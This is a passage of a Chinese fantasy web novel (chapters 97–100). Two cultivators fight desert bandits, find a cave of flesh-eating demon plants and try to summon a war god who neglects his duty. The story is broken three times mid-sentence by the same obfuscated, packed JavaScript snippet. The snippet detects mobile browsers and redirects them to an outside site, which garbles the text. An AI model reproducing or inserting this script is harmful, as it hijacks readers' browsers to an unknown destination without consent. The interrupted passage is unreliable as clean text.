但是这些男人们活像饿狼见了肉般贪欲十足的眼神,让他们都不难猜出几分。 “真真,我算明白为什么支持叛乱者的人更多了。他应该是把你当成了奖品,所有力挺他的人都有机会享受艳福。” 任天真气得粉脸一沉,“这家伙比上一个更可恶,居然想把姑奶奶当营妓使,看我一会儿怎么捶他。” 阿难认同地点头:“这家伙确实欠打,是该狠狠捶上一顿。” 97.植物 漆黑的夜色中,阿难和任天真的面孔几乎看不清,只有影影绰绰的轮廓。 鹰钩鼻见他们始终端坐在骆驼上没有动,还以为他们是被刚才发生的残酷杀戮吓傻了。 作为叛乱成功的新任头目,鹰钩鼻和上任一样,志在必得地走向那个容光绝艳的中原美人。 虽然他承诺所有支持他的人,都能共同享受这个美人,但他肯定得是第一个尝鲜的人。 鹰钩鼻走到骆驼前面时,东方正好亮起了第一线晨曦。 他终于能够看清阿难和任天真的面孔,意外发现这两个人谁都没有流露出恐惧惊惶的神色。 直觉告诉鹰钩鼻事情不对劲,这对兄妹目睹了刚才极其血腥残酷的杀戮场面,按理应该要吓得面无人色才对。 他下意识地认为娇滴滴的美人不足为惧,一双眼睛只是紧盯着阿难打量。 虽然他之前一副怂得不能再怂的怂样,此刻却是一派镇定自若,毫无惧色。 “你是什么人?” 鹰钩鼻手持大刀指着阿难,用生硬的汉语发问,眼神警惕中藏着几分畏惧。 他强烈怀疑这个看似文弱书生的男子,其实是位深藏不露的高人。否则现在早就吓尿了,不可能镇定如斯。 如果真是如此,那么他们今晚没准踢到铁板了。 “你怕错人了,你要怕的不是我,而是她。” 阿难淡定的声音刚落,任天真的娇叱声就响起了。 “他是你大爷,我是你姑奶奶。” 鹰钩鼻还没反应过来怎么一回事,整个人已经活像人体风筝似的飞起来,足足飞出了十几丈远,摔落在地时啃了满嘴的黄沙。 凶巴巴的新头目居然被个娇滴滴的美人一下就拍飞了,目睹了这一幕的其他劫匪集体傻眼了。 任天真亮出自己的莲花锤,又美又彪地大打出手,活像拍蟑螂般挨个锤起了那帮劫匪。 哪怕她没有动用法力,照样锤得他们一个个抱头鼠窜鬼哭狼嚎。 仓皇逃窜的劫匪们,都本能地跑进了大本营山洞。这是他们的地盘,躲进去藏起来再方便不过了。 可是他们进入山洞后,却在里头爆发出更加凄厉的惨叫声,那声音既痛苦又绝望,听得人浑身不寒而栗。 . 劫匪们扎营的地方极有可能是阴邪之地,这一点阿难和任天真都已经料到了。 来到断崖下的山洞旁时,劫匪一伙还没进洞就先在洞口自相残杀上了,他俩也只能暂且坐山观虎斗。 此时此刻,听到从洞内传出来的惨叫声,阿难双眼微闭以灵识感知,发现到有股极其浓重的阴煞之气在里面四处蹿动。 阿难还从未感知到如此浓重的阴煞之气,山洞里的情况一定很不妙。他神色一凛地伸出手,拦住了想要冲进去一探究竟的任天真。 “真真,别莽撞。” 任天真顿住脚步的一瞬间,山洞里的惨叫声也戛然而止,周围变得死寂一片。 “怎么没声音了,难道所有人突然一起死了吗?什么邪祟可以同时杀死这么多人?” “不知道,反正里头的阴煞之气非常浓,咱们不要轻易闯进去,等到太阳升起来再说吧。” 如果流金铃的法力已经恢复了,阿难还可以先让它充当急先锋进洞。 可是与铜棺将军在太湖对战的那一夜,小铃基本耗尽了报有法力,眼下还在养精蓄锐中,无法胜任这一艰巨任务。 现在只能等着太阳升起,阳光乃是至阳之火,天生克制阴煞之气。 东方的天际晨曦正一点点亮起来,过不了多久,一轮朝阳就会跃出地平线。 . 劫匪一伙几乎全军覆没在自己的大本营,唯有鹰钩鼻还半死不活地躺在黄沙上。 山洞里头原本是什么情况,阿难自然要找他打听一番。 鹰钩鼻已经知道自己今晚果真踢到铁板了,这对兄妹俩简直就是大骗子,扮猪吃老虎把他们骗得团团转。 原本他还怒不可遏地想着大家伙一起上弄死他俩,没想到情况却急转直下,任天真一个娇滴滴的美人就能打得所有人抱头鼠窜。 更糟糕的是,逃回大本营的同伙也不知在里面遭遇了什么,竟会发出那么可怕的惨叫声,可以肯定的是结果绝对不容乐观。 “刚才的情况你也看见了,山洞里头很不对劲,以前有过什么异样吗?” 阿难一边说,一边双手比划着跟鹰钩鼻进行沟通,他却神色呆滞,毫无反应。 一旁的任天真见了,老实不客气地踹了鹰钩鼻一脚,娇叱道:“你死没死啊?没死就回答问题,你们这个山洞到底是什么情况?” “真真,你先别凶他,那样他的脑子只会更乱,我还要问他话呢!” 阿难连比带划地告诉鹰钩鼻,他们兄妹二人都是修真人士,刚才那种情况肯定是邪祟在作怪。 太阳出来后,他俩可以进洞查看一下,在此之前需要他提供一些线索。 大致听明白了阿难的意思后,鹰钩鼻总算从呆滞状态中回过神来。他操着一口比劫匪头目更生硬、词汇量更少的汉话,结结巴巴地开始交谈。 . 经过一番很不顺畅却努力达成的沟通,阿难终于从鹰钩鼻那里问出了一点东西。 鹰钩鼻所属的部落一族,并非世代居住在这个山洞。 以前他们住在沙漠腹地的一个小绿洲,因为水源干涸,绿洲不复存在,几个月前才迁居到此。 茫茫大漠并非生命绝迹的地方,存在着星罗棋布的大小绿洲。 有水源的绿洲就有生命聚集,无论是人类还是植物或动物。一旦绿洲因为种种原因缺水干涸了,大家也就只能另找生路。 鹰钩鼻一族无意中发现了这个山洞,里面有一口泉眼,提供源源不绝的甘甜泉水。 有水就适合居住,整个部落七八十号人就在这里扎营了。 沙漠生存十分不易,绿洲一带只能有限地种植农作物和放牧牲畜。 所以沙漠部落大都劫掠成风,只要有机会抢夺财物就绝对不会空手而归,部落之间因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314213|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为争夺资源发生械斗也是常态。 之前被干掉的劫匪头目就是部落的首领,经常带着族中的精壮男子外出抢劫,老弱妇孺就负责留守大本营。 刚才回到山洞时,鹰钩鼻只顾着夺权,都没有察觉到洞里的情况其实已经有了不对劲的征兆。 一般来说,他们外出归来总有族人听到驼铃声出来迎接,可是今晚却一个人都没有。 鹰钩鼻素日以勇士自居,此刻却满脸都是难以自抑的惊惧,结结巴巴地道:“难道……我的族人……都死了吗?” 阿难和任天真交换了一下眼神,两个人的神色都十分凝重。山洞里头居然住着那么多人,恐怕他们都已经遭遇不测了。 . 一轮鲜红的朝阳,带着万丈光芒,自地平线下缓缓升起。 阿难和任天真一起并肩走进山洞,山洞内部的空间很大,顶部还有几道狭窄的石缝可以透入阳光,所以里面的一切能够看得很清楚。 在他俩的预想中,这儿应该是遍地尸体,谁知洞里却空荡荡一片,无论活人还是死人都不见一个。 山洞内部一目了然曾经是很多人生活的地方,四处陈设着不少简陋的家具。 一只炭火微温的炉子上,还热着一锅食物,可是所有人却集体神秘消失了。 那股浓重的阴煞之气也淡了许多,但是并未消失,如同空气般无处不在,让阿难和任天真都不敢掉以轻心。 鹰钩鼻也跟在他们身后进了洞,他跌跌撞撞地扑到一张大床上,搂着空无一人的被褥大声叫喊起来。 虽然听不懂他在说什么,但是阿难也能猜出几分。 “这张床上应该睡着他的孩子,枕头边还有布偶玩具,可是现在人不见了。” 任天真想不通,“奇怪,几十号人啊,怎么会一夜之间都神秘失踪了?尤其是之前那些逃进洞里的劫匪,几乎就是在咱们眼皮底下没了。” 阿难下意识地低下头注视着地面,山洞主体虽然是巍峨的岩石,但地面却依然堆积着不少黄沙。 “只有一种可能——他们都沉入了黄沙之下。” “你的意思是,黄沙把人全部吞没了?难道是沙子成了精在作祟吗?” 任天真的这个问题,阿难沉思着没有回答,一双眼睛仍然在洞内四处查看,忽然发现了一份异样之处。 “真真你看,这山洞里的植物长得很茂盛呢。” 山洞的角落里生长着不少植物,长势要比沙漠里其他地方的植物更加繁茂。 “早看到了,那种红色花朵很特别,你觉不觉得形状很像人的嘴唇。” “的确很像,还有那些浆果,看上去也很像人的眼睛。” 生长在山洞角落里的那些植物很是与众不同,阿难和任天真以前都从未见过。 被绿叶簇拥着的红色花朵,足有成人拳头那么大,形状就像两瓣娇艳欲滴的红唇。 而像眼睛一样的植物由深红色根茎和白色浆果组成,浆果表面有指尖大小的黑色斑点,大小形状都十分酷似眼球。 98.精魅 这很不正常。 在缺乏足够光照与土壤的沙漠山洞里,洞穴植物的生长条件很苛刻,也就很难开花结果。 更别说开出如此鲜艳的花,结出如此丰盛的果。 “这些植物很不对劲……” 阿难的话音未落,距离他最近的一朵红唇花,突然自动弹离枝头飞向他,还活像一张血盆大嘴般张开,露出两排白森森的利齿。 “我去。” 阿难旋身闪开的同时,任天真眼疾手快地一锤挥出,把那朵红唇花拍上岩壁砸得稀巴烂,溅开一蓬鲜血在岩壁上。 “咦,这种花居然是流血的。” “真真快走,这些花都在动了。” 在阿难的喊声中,所有红唇花争先恐后地飞起来咬人,目标就是洞内的三个大活人。 阿难和任天真有能力自保,没有被邪门的花朵咬中。 但是鹰钩鼻可就惨了,阿难赶到他身旁拎上人蹿出山洞时,他身上已经被十几朵红唇花死死咬住不放。 . 山洞外,阳光宛如一柄柄雪亮的利刃,朝着大地穿刺而来。 红唇花不敢追出洞外,一起张大嘴巴迸出无比尖利刺耳的啸声,仿佛在咆哮与谩骂。 为了耳根清静,也为了安全起见,阿难和任天真退出了三箭之地,与邪门的山洞保持着一定距离。 “好了,先看看他的伤势如何。” 阿难检查了一下鹰钩鼻的伤势,发现想把那些诡异可怕的红唇花从鹰钩鼻身上扯下来绝非易事。 它们活像疯狗一样,咬住人就不肯松口,而且还不停地啃噬着血肉,如同绞肉机般让每个伤口变成越烂越大的血窟窿,痛得鹰钩鼻惨叫不已。 任天真也算是见多识广的大妖了,但眼前这一幕却让她无法不变色。 “这到底是什么邪祟?真是邪门到家了!现在怎么办?” “等等看,这些阴邪之花在阳光下应该撑不了多久。” 的确如此,一朵朵红唇花在阳光的暴晒下,很快就如同冰融般化为一滩滩血水。 然而那些血水却带着强腐蚀性,让鹰钩鼻身上所有的伤口都像被泼了硫酸一样滋滋冒烟,皮肤脱落,肌肉碳化。 他发出更加撕心裂肺的痛苦惨叫,整个人蜷成一团在地上滚来滚去。 任天真虽然对这个鹰钩鼻好感欠奉,但看到他这副惨样都有点于心不忍。 “这也太惨了!要不干脆给他一个痛快吧?” 被血水腐蚀的伤口还在蔓延,宛如凌迟的酷刑一般。鹰钩鼻眼看是活不成了,只是一时半会儿还不会断气,还有得活受罪呢。 阿难叹口气道:“也只能这样了。” 他们俩还没有动手,鹰钩鼻的惨叫声却突然停止了,整个人也不再动弹。 阿难弯下腰一查看,发现他已经将一柄小巧的匕首插进了自己的心脏。 虽然是一条硬汉,鹰钩鼻却也忍受不了这种腐肤蚀骨的剧烈痛苦。 再加上全族人都已经蒙难,他估计也不想苟活,所以选择自我了断,只求死个痛快。 . 在瀚海沙漠长途跋涉了七八天后,阿难凭借飞鸟符和化羽术,带着任天真很快就飞回了西凉城。 “阿难哥哥,你这个宝贝好啊!省时省力,比我自己飞要轻松多了。” “是啊,有了它能省下不少脚力。” “咱们回到西凉城后,就直接去武佑真君的神庙吗?” “对,武佑真君是这一带的守护神,瀚海沙漠中藏着这么厉害邪门的邪祟,他身为武神责无旁贷要管。” “可是你要怎么通过神庙给他传信呢?一炷信香是肯定无法上达天听的。” 的确如此,仅凭一炷或几炷信香惊动不了武佑真君卫靖。 阿难又对这位存在感不强的仙官毫不了解,不知道他设置的信香关键词是什么,没法有的放矢地把人引下凡。 非常时期,阿难只能运用非常手段了。 “我打算直接烧神像。” 任天真也算是一个离经叛道的妖女了,但阿难这个不走寻常路的传信方式,还是听得她大吃一惊。 “什么?你要烧武佑真君的神像,你就不怕得罪他吗?” 神像是神仙们在人间凡界的象征,代表仙官本尊接受着来自信徒们的香火供奉。 云间仙境有着主神之位的大仙官们都很重视自己的神像,因为它与香火息息相关。 在天界的每座神殿里,都挂着一幅神像分布图。 这张图中标注着每位仙官分布在人间各地的所有神像,以星辰般的光点展示。 如果哪座神像出了什么问题,光点就会闪烁不休,他们每每能第一时间发现。 在人间凡界,从来没有人敢胆大包天地放火焚烧神像,那样肯定会招来灾祸不可。 妖魔鬼怪之类也轻易不敢这么做。如无必要,谁也不想这样往死里得罪一位仙官。 “这不情况特殊嘛!相信武佑真君得知真相后也能谅解。” “他要是不谅解呢?” “不谅解就不谅解喽!” 阿难无所谓地一笑,反正他得罪的仙官那么多,也不在乎再多一个。 没准卫靖就是其中一员,烧不烧神像都已经得罪了,再放上一把火也没什么可损失的。 . 西凉城最大的武佑庙突然冒起了滚滚浓烟,路人们纷纷驻足打听,得知是供奉着武佑真君神像的主殿突然失火了。 阿难和任天真二人,并肩站在神庙后面一座塔楼的顶部,等着迎接武佑真君卫靖的下凡。 可是直到火势都被扑灭了,也没能等到这位仙官亮相。 “怎么回事?武佑真君怎么没来呢?” 任天真满心不解,阿难苦笑道:“看来武佑真君是一个另类,对自己的神像是否被毁毫不在乎。” “这位仙官还真是特别呢!那现在怎么办?” “只能另外想法子了。” 阿难和任天真找家客栈住下来,先好好洗个澡换身衣裳,再美美地吃上一顿,一边吃一边商量接下来怎么办。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335812|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“真真,今晚咱们先好好休息,明天天亮后再去山洞走一趟。” “阿难哥哥,那个山洞实在太邪门了!如果武佑真君不下凡,光凭咱俩搞不定的。” 山洞里那些诡异邪恶的植物,光是红唇花就已经杀伤力超强,虽然眼球果还不知道能派什么用场,但显而易见杀伤指数绝不会低。 “我知道,对付邪祟是仙官的职责所在,没理由咱们两个妖来当差。我跟弘文真君有点交情,可以发去一张传讯飞符,拜托他联系武佑真君下凡走一趟。在这之前,咱们反正闲着也是闲着,不如再去山洞那边多摸一摸情况,等武佑真君来了可以提供给他。” 郦子微那晚代表“紫衡帝君”找过阿难后,留下了一张传讯飞符给他,正好可以派上用场。 阿难没有要逞英雄的意思,任天真也就不再反对,点头道:“行,那咱们今晚好好养精蓄锐,明天再去跑一趟。” . 次日清晨日出后,阿难和任天真再次进入沙漠,来到了那处断崖下的山洞。 山洞里的情况却发生了变化,原本长势茂盛的诡异植物都不见了。无论是红唇花还是眼球果,集体消失得无影无踪。 “咦,怎么回事?那些邪门的花花草草呢?” 阿难的神色越发凝重,沉声道:“它们都不见了,说明这些植物能在沙漠里四处行动,神出鬼没。” “啊,不会吧?” 任天真闻所未闻地瞪圆双眼,“植物又不是动物,还能四处乱跑吗?” “如果不能的话,那要怎么解释它们的消失呢?” “这倒也是。可是草木成精,一定要化成人形后才能行动,这些植物又是怎么回事啊?” 阿难一边思索一边道:“这些邪门的植物本该是精怪,却有着很浓的阴煞之气,应该是成精之时被鬼魂侵入,所以变异为精魅了。” 精魅是一种很罕见的复合型邪祟。 非人一族的动植物刚修炼到灵智初开时,就是一个智商不高的小精怪。如果这时候有鬼魂误打误撞附身其中,那么精怪就会变异成为精魅——所谓的恶鬼精怪。 “那些植物就是传说中的精魅吗?我感觉这事越来越大了!” 精魅这种罕见的恶鬼精怪,既有鬼的本事,也有怪的本领,双重超能力,对付起来自然很是棘手。 “这些精魅植物能在沙漠里自由行动,就意味着可以四处狩猎。之前那些神秘失踪的商队应该也是遇上了它们的缘故,就像这支部落一样,所有人一夜之间就集体消失了。” 对于阿难的假设,任天真深以为然地点头。 “在沙漠里,有植物生长的地方往往代表着附近有水源。如果商队正好需要补充饮水,见到一片繁茂的植物肯定会过去找水源,那就成了自投罗网。” “所有消失者的血肉都成了滋养精魅的补品,让它的能力越来越强。广袤无边的沙漠又间接掩护了它,无论是一支商队还是一个部落,在沙漠里无端消失后,根本就没人知道真相是什么,只会按常识推测可能是沙尘暴导致的。” 99.应对策略 如果无人知晓是邪祟作祟,自然就不会去神庙烧香祈求神仙下凡消灭邪祟。 负责在这一方镇山守水的本土神仙,倒是省了一桩麻烦事。 “那沙尘暴应该替这个精魅背了不少黑锅呢!武佑真君看来也是一个不管事的,自己的地盘出了这么厉害的邪祟都不知道,要是华源真君肯定不会这样。” 阿难若有所思地道:“也不知武佑真君到底是真不知道,还是假不知道。” 任天真听得一怔:“阿难哥哥,你这话什么意思啊?” “真真,有个词叫‘养寇自重’,你听说过吗?” “没听说过,什么意思啊?” “很久以前,有一位负责守疆的将军,原本是战绩彪炳的战神,可以彻底打垮关外一心想要入侵中原的异族。可是当他意识到如果把对手消灭干净了,自己就要失去朝廷的重视,就改变策略对敌人围而不剿,甚至有意放纵他们的势力日益壮大,以确保自己的地位始终重要不变。这就叫养寇自重。” 任天真懂了,有道是飞鸟尽,良弓藏,狡兔死,走狗烹。养寇自重,就是为了保全个人地位与权势的一种策略。 她讶异地问道:“不是吧?超凡脱俗的神仙也会有这种私心杂念吗?” 阿难苦笑道:“神仙也是人,神性的背后就是人性,而人性何其复杂。在云间仙境,有些仙官为了香火鼎盛,也是会搞搞策略的。” 譬如普和真君檀豫,私下爱找藤老祖配合演出,在人间上演威名远扬的神仙显灵,驱邪除祟,为自己赢得更多的信徒与香火。 数百年前,剑南一带的一位武神,就曾经干出过这种养寇自重的事。 他故意放任一些小妖坐大,等到百姓遭其荼毒苦不堪言,开始频繁入神庙烧香请愿后,再高调下凡为民除害,赚取香火无数。 常在河边走,哪有不湿鞋?这位武神总是玩这一套,就难逃脱玩火自焚的下场。 后来他不小心纵出一个超级厉害的大妖,导致自己除妖不成反被除。 养寇自重的事也暴露了,原本的光荣殉职变成了咎由自取,帝君还将其从仙班除名,从此人间天上都查无此仙。 瀚海沙漠出了十分罕见的精魅,它能成气候说明已经在此地残害过很多人的性命。 阿难不相信武佑真君卫靖对此会一无所知,除非他是一个很无能很没用的武神。 卫靖飞升前是一员猛将,绝不可能是无能之辈,但养寇自重对他来说似乎也不太可能。 因为他是一位并不热衷于刷个人存在感的低调仙官,也就不会为了挣香火赚名声去搞这种所谓策略。 这么做未免太矛盾太撕裂了,活像精分一样。 但阿难还是觉得卫靖应该清楚精魅横行瀚海沙漠一事,不过既然百姓没有烧香请愿让他下凡除祟,他就只当啥也不知道。 这也是一些仙官的应对策略。 如果自己的地盘上出了厉害妖邪,下凡除妖搞不好会因公殉职,那就干脆多一事不如少一事。 如果卫靖也是这种心态,那天阿难在武佑庙火烧神像他没有露面,也就不难理解了。 因为他心知肚明西凉城外的瀚海沙漠发生了什么,压根就不想下凡管这号麻烦事。 与其费劲巴拉地跑来斗精魅,当然不如留在云间仙境过逍遥自在的神仙日子。 . 听完了阿难的猜测,任天真很是不屑地一撇红唇,给出一个话糙理不糙的鉴定结果。 “如果真是这样,卫靖这个武神当得简直就是占着茅坑不拉屎。” 阿难的用词就要文雅多了。 “是啊,尸位素餐就莫过如此。不过,我给弘文真君发了传讯飞符,他会找到卫靖告知瀚海沙漠有邪祟出没一事,到时候他想继续装聋扮哑也不行了。” “所以这一趟凡,卫靖就算不想下也得下对吧?太好了,我等着看仙官斗精魅的大戏。” “可是沙漠那么大,精魅跑去哪儿了还是未知数,要找出来还得想办法才行。否则武佑真君下凡呆几天,就能用查无此祟回去复命了。” “那不行,可不能便宜了这个占着茅坑不拉屎的家伙,得让他当差干活,跟精魅打上一架才行。阿难哥哥你点子多,想想办法看怎么把精魅引出来,我一定全力配合你。” “这个精魅胃口很大,一次能吞掉整个部落的人。咱们去找人多的大商队跟着走,或许能再遇上它出来狩猎。” 事不宜迟,阿难重新驱动飞鸟符,带着任天真飞上天空,在一望无际的沙漠里四处寻找商队的踪影。 飞上好半天后,他们终于有所发现,在初升不久的旭日下,一列长长的商队宛如蚂蚁般在黄沙上缓缓移动。 “阿难哥哥,看,那儿有一支规模不小的商队。” “看见了,好像还是熟人呢!” 任天真定睛一看,“还真是,我看见那个把我送给劫匪的周首领了。” . 那天把任天真献给劫匪头目后,周首领保全了自己一半的货物。 不过他还是深感惋惜:如果不是那队劫匪胃口太大,等我把那个绝色美人带到楼兰国,还能赚上一大笔呢! 翻过一座沙丘后,周首领难以置信地双眼一瞪。 因为那个令他惋惜不已的绝色美人,就俏生生地站在沙丘下方。 金似衣裳玉似身,眼如秋水鬓如云,清艳得仿佛是一朵烟雨江南的出水芙蓉,与黄沙漫漫的沙漠背景形成鲜明对比。 “周大哥,好巧啊!又遇上你了!” 任天真似笑非笑地跟周首领打完招呼后,一旁的阿难微笑着开了口。 “周大哥,我带着妹妹从那帮劫匪手里逃脱了。正愁接下来不知道该怎么走呢,你再带上我们没问题吧?” 眼前的一男一女,一个像琼花,一个像玉树,看起来都不是有能力自保的人,居然能从一队劫匪手里全身而退? 别说周首领的下巴快要惊掉了,其他人也都是下巴纷纷不保的震惊神色。 “啊……哦……行……没……没问题。” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360900|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首领结结巴巴地答应后,十分殷勤地立刻腾出一头骆驼,给这对从天而降的兄妹当座骑。 不论他们俩看上去多么像娇贵脆弱的琼花玉树,但周首领不是傻子,已经知道了这二位绝不简单。 如果真是那么中看不中用,他俩不可能在以一敌十地摆平那帮劫匪后,还这么一副纤尘不染的样子回来。 知道的是他俩之前被劫匪抓了,不知道的还以为二人刚从江南踏春归来呢! 要不是半路遇上了劫匪,周首领还打着小算盘要在楼兰卖掉美人狠赚一笔。好在劫匪替他挡了一劫,否则这个霉头可就要触大发了。 “你们走了这么久,一定累了吧?快上骆驼歇着吧。我回头再让人准备一些吃的喝的给你们送来。” 面对周首领格外殷勤的姿态,任天真话里有话明褒暗贬地讥笑道:“谢谢周大哥,你人还真是怪好的呢!” 周首领不无尴尬地干笑了两声。 “应该的,应该的,你们兄妹二人既然跟着我进了沙漠,我就该照顾周全一点。之前遇上劫匪的事,超出了我的能力范围,实在是没法保全姑娘,还望姑娘见谅。” 任天真半真半假地问:“我要是不见谅呢?” “姑娘,您就当我是个屁,把我给放了吧?” 周首领知道该服软的时候要服软,低声下气地跟任天真求完饶,又扭头看着阿难商量起来。 “任公子,这趟沙漠之行,你一定要跟着我们商队走,想必也是有原因的吧?既然如此,能否过往不咎?接下来有什么需要只管吩咐,我都听从你的安排。” 阿难笑眯眯地道:“周大哥言重了,我没什么吩咐,只要跟着商队走就行了。你该干嘛就干嘛,忙去吧!” 周首领如蒙大赦地走后,阿难轻声对任天真说: “真真,那天那种情况下,他要献出你来保全自己的财物很正常。毕竟一不沾亲二不带故的,他没理由为了一个陌生人跟劫匪血斗起来。” “我知道,但对他这种做法还是有些不爽了。” “真真,虽然道德上他这么做有些说不过去,但有道是人不为己天诛地灭,人的天性就是凡事先为自己打算。在事关巨大利益甚至是性命攸关的时候,一介凡人做出对自己更有利的选择无可厚非。不要以圣人的标准去要求别人,因为就算是咱们自己也做不了圣人的,是吧?” 任天真想想也是,之前在姑苏城,有位姜夫人找上门来求她对付一个鬼,她也是把丑话说在前头。 力所能及地帮一下忙可以,但如果对方是她打不过的牛鬼,这事她就要撒手不管了,总不能把自己搭进去。 “阿难哥哥,你说得没错,就算是我有时候也会这么选。但这个姓周的不是什么好人,你我都清楚,之前他答应带上咱们穿越沙漠就没怀好意。” “他那时是动了歪脑筋,但没有付诸于行动,也肯定不敢再生邪念了,就得饶人处且饶人吧!任何人难免都会产生阴暗的想法,这是人性的一部分。所以有句话叫论迹不论心,论心无完人。” 100.哈陀 “阿难哥哥,我觉得你就挺像完人的,你应该从来没有过什么阴暗想法吧?” 任天真盈盈含笑地看着阿难发问,他哈哈一笑道:“如果我告诉你,有段时间我满脑子都在想着怎么毁天灭地搞垮全世界,你信吗?” 这话怎么听都像是玩笑话,任天真当然不信了。 坐在骆驼上颠簸着,任天真有些昏昏欲睡,阿难却一直目光炯炯地观察着商队的情况。 他细心地发现这支队伍里多了一个人,一个出发时并不存在的人。 太阳越升越高,气温也越来越高,商队停下来扎营休息,避开一天最炎热的时分,等到日落西山时再赶路。 周首领给阿难二人单独安排了一顶营帐,亲自过来招呼他们进帐休息,里面已经摆着一桌尽可能丰盛的午膳。 “二位,条件有限,招呼不周,还请将就一下。等到了楼兰,我再设筵好好款待你们。” 周首领本着伸手不打笑面人的原则,冲着这对兄妹无比谄媚地笑成了一朵花。 阿难随口应酬两句后,就直截了当地问起了多出来的那个人是怎么回事。 “哦,那位是临时请的向导哈陀。” “不是已经找了向导吗?怎么临时又请一个呢?” “任公子你有所不知,瀚海沙漠面积太大了,穿越它路上要走两三个月,一个向导是不够的。有些特别难走的路段,必须找生活在沙漠里的当地居民充当临时向导带路才行。” 周首领告诉阿难,接下来的一段路就是瀚海沙漠最难走的路段,没有之一。 所以在上一个绿洲除了装满补给外,还按惯例找了一位当地居民当临时向导,带领商队穿过这一段。 “这段路为什么最难走了?” “因为接下来这段路不但漫长,而且沿途没有绿洲能够提供补给,风沙又特别大很容易迷路,是众所周知的死亡地段。万一迷了路,又不能及时找到正确的方向前进,等到饮用水耗尽,结果必然就是渴死在沙漠里。” “如此说来,这位向导至关重要呢!” “是啊,哈陀在这条路上很有名,费用也很高,只有大商队才请得起他。” . 商队拔营重新出发时,向导哈陀像之前一样,独自骑着一匹骆驼走在队伍最前列。 他是一个高鼻深目满脸虬髯的异族男子,那把弯弯曲曲的络腮胡,爬满了近三分之二的面孔,跟茂盛的头发打成一片。 这样一张脸,让人很难判断出年龄。 任天真感觉哈陀跟之前的劫匪应该是同一民族,跟阿难小声交流着自己的想法。 “这个民族的男人,头发胡子都好旺盛啊!夜里一不留神能看成猴。不过那些劫匪个个精壮强悍,这个哈陀怎么看上去有点丧呢?” 沉默寡言的哈陀精神有些萎靡不振,确实可以用一个“丧”字来形容。 阿难也想知道,为什么这个手握整支商队命运的向导如此颓丧,就找机会上前跟他攀谈。 虽然会说汉语,但是哈陀很不喜欢跟人交流,惜言如金到了跟哑巴有一拼的程度。 阿难问上十句八句,他能回答一句就算不错了,大都用摇头和点头来应付。 阿难铩羽而归后,任天真好奇地问:“你跟他聊得怎么样?” “根本没法聊,无论聊什么都被他聊死了,压根就不接话茬。” “阿难哥哥,你为什么对这个哈陀感兴趣呢?” “因为他很重要,商队想要平安走出这程死亡路段,就全靠他了。” 交谈间,一团焰火似的白光从天而降,那是凡人肉眼看不到的传讯飞符。阿难接住展开一看,脸上露出一个不无玩味的表情。 任天真在一旁问道:“怎么了?” “弘文真君回复我了,说是武佑真君正在闭关修炼准备渡劫,他没见到人,也没办法帮忙传信。” 云间仙境的神仙们,如果想要修为更上一层楼,就要靠渡劫来完成。 一般都是天雷劫,只要成功捱过去了,法力就能翻倍。当然危险系数也很高,万一没撑住的话,轻则修为倒退重则被雷劈得魂飞魄散。 仙官们大都轻易不会开启渡劫模式,成功了固然大有好处,失败了却有可能彻底玩完。赶在这个特殊的时刻,卫靖恰好在闭关修炼准备渡劫,未免也太巧了一点。 任天真快人快语地道:“这么巧,那个卫靖没准是找借口不想下凡吧?” 阿难苦笑道:“很有可能,看来咱们之前火烧神像,应该是打草惊蛇了。” “那现在怎么办?” “卫靖不来的话,只能另外搬救兵。我再发一张传讯飞符给咱们新上任的鬼王,看他能不能拔冗过来帮个忙,把这个精魅消灭了。” 精魅是半妖半鬼的复合型邪祟,如果由鬼王出面对付它,某种程度上相当于强大的血脉压制,取胜一点儿也不难。 “阿难哥哥,你这人脉可真广啊!还能把鬼王叫来帮忙。应长恨要是出手,这个精魅肯定不是对手。” 认同之余,任天真还没好气地撇了一下嘴。 “只是驱除邪祟本该是武神的职责,现在倒好,卫靖像个乌龟似的躲得不见人影,反而要让鬼王来顶他的差事,而且他还能继续从不知就里的百姓们那儿赚取香火,真是让人气不过。” “那也没办法,他可以装聋扮哑当无事发生,咱们既然知道了总不能也这么干,否则这个精魅还不知道要在瀚海沙漠害死多少人。” “这本是神仙们要操的心,他们平时受着百姓的香火供奉,关键时刻就该出来救苦救难。这个卫靖太可恶了,竟还不如咱们这些妖鬼有侠义心肠,我一万个瞧不起他。回头我要把这件事告诉华源真君,看他能不能在紫衡帝君面前参姓卫的一本。” “恐怕不能,毕竟是没有真凭实据的事,谁也不能证明卫靖明知瀚海沙漠中有精魅却放任不管。越君朴总不能仅凭你一番口说无凭的推测,就跑去找帝君告仙僚的状吧?” “这倒也是, 